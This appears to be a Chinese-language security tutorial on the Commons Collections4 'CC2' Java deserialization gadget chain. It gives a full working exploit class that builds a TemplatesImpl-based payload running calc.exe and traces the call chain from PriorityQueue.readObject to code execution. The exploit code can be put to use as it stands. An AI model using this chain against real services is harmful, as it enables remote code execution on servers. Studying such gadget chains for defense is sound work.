1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> </dependencies>
|
3.1-3.2.1 版本中 TransformingComparator 并没有去实现 Serializable 接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CC2Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass); constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"calc.exe\"); }"); ctClass.addConstructor(constructor);
byte[] bytecodes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes}); setFieldValue(templates, "_name", "EvilTemplates"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates); queue.add(templates);
setFieldValue(transformer, "iMethodName", "newTransformer");
byte[] serializedQueue = serialize(queue); System.out.println("CC2 恶意对象序列化完成...");
unserialize(serializedQueue); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void unserialize(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|


这里的 comparator 就是构造的 TransformingComparator 实例


这里的 transformer 就是构造的 InvokerTransformer 实例

通过反射调用指定方法
iMethodName 已经被反射修改为 newTransformer,所以会调用 templates.newTransformer()

TemplatesImpl JDK 自带处理 XML 转换类,可将包含 java 字节码的字节数组加载为真正的 Java 类,并实例化它。可将恶意代码编译为字节码,塞进 TemplatesImpl 的私有属性 _bytecodes 中。
只要调用 TemplatesImpl.newTransformer() 则会加载并实例化木马类,从而执行恶意代码。



_class[0].newInstance() 被调用,执行通过 Javassist 插入的恶意代码。
使用 Javassist 生成恶意类
TemplatesImpl 的加载机制:AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
因为 TemplatesImpl 要求加载的类必须:
- 继承
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
- 有一个无参构造函数
- 构造函数中包含恶意代码
Javassist 可以动态生成满足这些条件的字节码。
利用排序机制触发比较,比较器可自定义传入
1 2 3 4 5 6 7 8 9
| ois.readObject() <=> ObjectInputStream.readObject() PriorityQueue::readObject() ->PriorityQueue::heapify() ->PriorityQueue::siftDown() ->PriorityQueue::siftDownUsingComparator() ->TransformingComparator::compare() ->InvokerTransformer::transform() ->TemplatesImpl::newTransformer() // 加载恶意字节码为 Class ->MaliciousClass::<init>() // 实例化触发代码执行
|